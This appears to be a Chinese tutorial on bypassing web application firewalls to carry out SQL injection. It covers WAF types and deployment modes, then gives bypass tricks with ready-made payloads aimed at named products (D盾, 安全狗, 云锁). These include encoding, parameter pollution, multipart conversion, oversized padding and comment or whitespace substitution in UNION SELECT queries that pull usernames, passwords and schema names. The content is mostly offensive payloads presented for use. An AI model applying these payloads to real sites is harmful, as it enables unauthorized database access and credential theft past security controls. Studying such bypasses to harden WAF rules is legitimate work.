sql语句waf绕过
什么是waf
waf是专门针对Web应用的防火墙,属于细分领域的针对性防火墙
攻击特点:
攻击二象性:已知攻击与未知攻击
攻击维度:形式与漏洞
waf核心原理:
运用黑、白思想
特征匹配、漏洞签名
对匹配结果进行响应(拦截、记录)
waf主流产品形态
云WAF
1.阿里云盾
2.腾讯网站管家
3.创宇盾
4.CloudFlare等
软件产品类
安全狗
云锁
360主机卫士
ModSecurity等
硬件设备类
启明星辰
绿盟
天融信
飞塔等
waf的部署模式
# 基于DNS解析
修改DNS,让域名解析到反向代理服务器,所有流量经过反向代理进行检测,检测无问题之后再转发给后端的Web服务器
用户端浏览器->DNS解析->xx云WAF->WEB服务器
# 串联模式
反向代理模式、透明代理模式。反向代理模式会改变原有网络拓扑,真实客户端IP会以http header传至后端WEB server 。透明代理模式可以在不改变原有网络拓扑结构的情况下直接部署
反向代理:提前配置好域名和目的服务器转发规则 在站点和规则较多的情况下 转发规则等配置较复杂
透明代理模式:监控tcp连接 在用户无感知的情况下代理会话 基于桥模式进行转发。从web客户端的角度来看,web客户端仍是直接访问服务器。特点是:对网络的改动最小,可以实现零配置部署
# 旁路模式
利用流量镜像技术,将业务流量分流给WAF产品,这种部署模式的优点是不会影响业务的稳定性所以waf会投入更多的性能在检出率上面 缺点 不借助其他手段无法对检测出的行为进行阻断 流量只进不出
特点:在waf出故障的情况下 不影响业务的连续性,需要联动其他设备来下发阻断策略
# 软件嵌入中间件+检测引擎模式
在使用Ngainx作为反向代理的业务下,WAF提供Ngainx模块嵌入原有Nginx,将请求转发给检测引擎,可以做到在不改动原有网络拓扑的情况下完成检测任务
waf绕过原理
安全与业务性能不可兼得
WAF为了考虑通用性的问题 ,无法覆盖100%某些语言、中间件、数据库的特性
硬件waf自身往往存在漏洞
waf绕过角度
架构 :基于DNS解析
规则缺陷/特性:类似正则匹配 数据库特性 中间件特性
协议:HTTP0.9版本 TCP长连接
架构层面
寻找真实服务器IP
云WAF是通过修改DNS解析来隐藏了真实ip
查找域名历史解析记录
利用邮件发送功能中的源地址
域名历史解析
利用畸形数据包绕过(硬件waf)
超长数据包(资源大小限制)
畸形协议,如HTTP不同的请求方法污染、多个同样的头部
这种情况主要是让硬件WAF产生硬件BYPASS,流量直接转发给后端服务器
利用waf的SSl 缺陷
WAF对某些SSL算法的不支持
如 YLSv1 256 bits ECDHE-RSA-AES256-SHA
旁路模式中有效
规则缺陷/特性
特殊的百分号
环境:仅在IIS+ASP
UNICODE编码
IIS支持Unicode编码字符的解析,对于select中的字符进行unicode编码,可以得到如下的s%u006c%u0006tct 这种字符在IIS接收到后被转换为select,但是对于WAF层 可能接收到的内容还是s%u006c%u0006tct 这样就会形成bypass的可能
字符 Unicode编码
a %u0000 %u0041 %u0061 %u00aa %u00e2
' %u0027 %u02b9 %u02bc %u2032 %uff07 %c0%27 %c0%a7 %e0%80%a7
HPP(HTTP参数污染)
当查询字符串多次出现同一个key时 根据容器不同会得到不同的结果
例如GET提交:id=123&id=456
|
iis+aps/asp.net
|
id=123,456
payload:id=-1 union+select+username,password/*&id=*/from+admin+limit 1
id=-1 union+select+username,password/*&id=*/from+admin+limit 1->waf规则匹配不上->IIS+ASP/ASPX(WEB服务器)->id=-1 union+select+username,password/*&id=*/from+admin+limit 1 ->数据库->select id,contents from news where id=-1 union select usename,password from admin limit 1
APS/IIS part1=val1,val2
PHP/APACHE par1=val2
jsp,servlet/apache tomocat par1=val1
畸形method
某些WAF在处理数据的时候严格按照GET、POST等标准HTTP方法来获取数据,或者采用正则匹配的方式来处理数据,可能因为WAF和WEB服务解析的前后不对等绕过WAF
存在环境:Apache 2.x
某些apache版本在做GET请求的时候,无论method为何值均会取出GET的内容
把GET替换成任意字母
参数数量限制
WAF在实际环境中为防止拒绝服务式攻击 默认最多解析前100个请求参数,更多的参数将直接忽略
存在环境:Nginx+Lua WAF
变换请求方式
假如php里使用$_REQUEST获取参数,那么php获取参数的默认优先级是 $_COOKIE>$_POST>$_GET 此时WAF层只过滤get/post 但没有过滤cookie 于是导致了绕过
存在环境:PHP
urlencode和form-data转换
POST在提交数据的时候有两种方式,第一种方式是使用urlencode的方式提交,第二种方式是使用form-data的方式提交.使用form-data的方式去提交可以绕过某些WAF,如第一节课中的实例就利用到了该方法.
D盾BYPASS MSSQL数据库注入
MSSQL特性
select id,contents,time from news where news_id=1 (1) union (2) select (3) 1,2,db_name() (4) from (5) admin
位置1
可利用其他控制字符替换空格:%01~%F、%11~%1F
可利用注释符号:/**/
可利用数字运算以及数据类型 news_id=1.1,news_id=1e0,news_id=1-1
位置2
可利用其他控制字符替换空格:%01~%0F、%11~%1F
可利用注释符号:/**/
可利用冒号:union:select
位置3
可利用其他控制字符替换空格:%01~%0F、%11~%1F
可利用注释符号:/**/
可利用其他符号:+、-、~、:、.
位置4
可利用其他控制字符替换空格:%01~%0F、%11~%1F
可利用注释符号:/**/
可利用其他字符:%80~%FF
位置5
可利用其他控制字符替换空格:%01~%0F、%11~%1F
可利用注释符号:/**/
可利用冒号:union:select
可利用其他字符::、.、%80~%FF
D盾不拦截COOKIE 变换请求
绕过安全狗
所谓的BYPASS WAF实际上是去寻找位于WAF设备之后处理应用层数据包的硬件/软件的特性。利用特性构造WAF不能命中,但是在应用程序能够执行的payload 绕过防护
环境:安全狗Apache最新版+apache2.4+Windows
靶场:DVWA
1.超长数据包BYPASS
GET型请求转POST型
Content-Length长度大于4008
正常参数放置在脏数据后面,否则无效
2.空格替换BYPASS
拒绝传统的%20 使用%09 %0a %0b %08....
GET型请求转POST型
payload=1'--%0d%0aunion--%d%0aselect+null.concat_ws(char(32,58,32),user,password)--+%0afrom--+%0ausers+#
3.协议转换BYPASS
使用表单请求中的multipart/form-data
关键词换行
payload:转换Content-Type:multipart/form-data;boundary=-----xxxxxx
------xxxx
Content-Disposition:name="id"
1' union
select
null,
concat_ws(char(32,58,32),user,password)
from users#
绕过云锁WAF
云锁WAF特性
WAF资源限制角度
假如HTTP请求POST BODY太大,检测所有的内容,WAF集群消耗太大的CPU、内存资源。因此许多WAF只检测前面2M或4M的内容,对于攻击者而言 只需要在POST BODY前面添加许多无用数据,把攻击PAYLOAD放在最后即可绕过WAF检测
Urlencode特性
HTML5 URL编码
BYPASS云锁 MYSQL数据库注入
MYSQL特性
select id,contents,time from news where news_id=1 (1) union (2) select (3) 1,2,db_name() (4) from (5) admin
位置1
可利用其他控制字符替换空格:%09,%0a,%0b,%0c,%od,%20,%a0
可利用注释符号:/** /、#test%0d%0a、--+a
可利用数学运算以及数据类型:news_id=1.1,news_id=1E0,news_id=\N
位置2
可利用其他控制字符替换空格:%09,%0a,%0b,%0c,%od,%20,%a0
可利用注释符号:/** /、#test%0d%0a、--+a
可利用括号:union(select 1,2)
位置3
可利用其他控制字符替换空格:%09,%0a,%0b,%0c,%od,%20,%a0
可利用注释符号:/** /、#test%0d%0a、--+a
可利用其他符号:+、-、~、!、@
位置4
可利用其他控制字符替换空格:%09,%0a,%0b,%0c,%od,%20,%a0
可利用注释符号:/** /、#test%0d%0a、--+a
可利用数学运算以及数据类型:
union select user(),2.0 from admin
union select user(),8e0from admin
union select user(),\Nfrom admin
位置5
可利用其他控制字符替换空格:%09,%0a,%0b,%0c,%od,%20,%a0
可利用注释符号:/** /、#test%0d%0a、--+a
`号 : unoion select 1 schema_name from `information_schema`.SCHEMATA limit 0,1)
内联注释:union select
1,(select(schema_name)from/*!12345information_schema.SCHEMATA*/limit 0,1)
{号: id=1 union select 1,(select(schema_name)from{x information_schema.SCHEMATA}limit 0,1)
(号 id=1 union select 1,(select(schema_name)from(information_schema.SCHEMATA)limit 0,1)
资源限制长度绕云锁 通杀!